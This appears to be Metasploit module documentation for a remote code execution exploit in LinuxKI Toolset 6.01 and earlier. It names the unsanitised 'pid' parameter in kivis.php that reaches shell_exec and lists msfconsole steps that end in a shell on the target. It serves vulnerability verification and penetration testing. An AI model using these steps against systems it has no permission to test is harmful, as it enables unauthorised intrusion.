## Vulnerable Application
LinuxKI Toolset <= 6.01

This module exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.
The `kivis.php` `pid` parameter received from the user is sent to the `shell_exec` function, resulting in security vulnerability.

To test this application, you need to download the version 6.01 [here](https://github.com/HewlettPackard/LinuxKI/blob/v6.0-1/Dockerfile).
Do not forget to change [this URL](https://raw.githubusercontent.com/HewlettPackard/LinuxKI/master/rpms/linuxki-6.0-1.noarch.rpm) inside
the Dockerfile with [this one](https://github.com/HewlettPackard/LinuxKI/raw/v6.0-1/rpms/linuxki-6.0-1.noarch.rpm).

## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/linux/http/linuxki_rce```
4. Do: ```show TARGETS```
5. Do: ```set TARGET #```
6. Do: ```set RHOSTS```
7. Do: ```set LHOST```
8. Do: ```run```
9. You should get a shell.

## Options
### WritableDir

A writable directory file system path. (default: `/tmp`)

### ForceExploit

Override check result.
